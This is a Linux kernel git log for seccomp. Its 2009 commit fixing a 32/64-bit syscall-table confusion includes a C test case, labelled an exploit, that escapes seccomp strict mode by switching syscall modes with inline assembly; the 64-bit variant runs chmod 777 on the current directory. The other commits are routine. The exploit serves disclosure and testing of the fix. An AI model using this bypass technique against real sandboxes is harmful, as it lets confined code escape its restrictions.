2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath1-3/+4
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2007-07-16make seccomp zerocost in scheduleAndrea Arcangeli1-0/+3
This follows a suggestion from Chuck Ebbert on how to make seccomp absolutely zerocost in schedule too. The only remaining footprint of seccomp is in terms of the bzImage size that becomes a few bytes (perhaps even a few kbytes) larger, measure it if you care in the embedded.

2007-07-16move seccomp from /proc to a prctlAndrea Arcangeli1-0/+26
This reduces the memory footprint and it enforces that only the current task can enable seccomp on itself (this is a requirement for a strightforward [modulo preempt ;) ] TIF_NOTSC implementation).

Initial git repository build. I'm not bothering with the full history, even though we have it. We can create a separate "historical" git archive of that later if we want to, and in the meantime it's about 3.2GB when imported into git - space that would just make the early git days unnecessarily complicated, when we don't have a lot of good infrastructure for it. Let it rip!
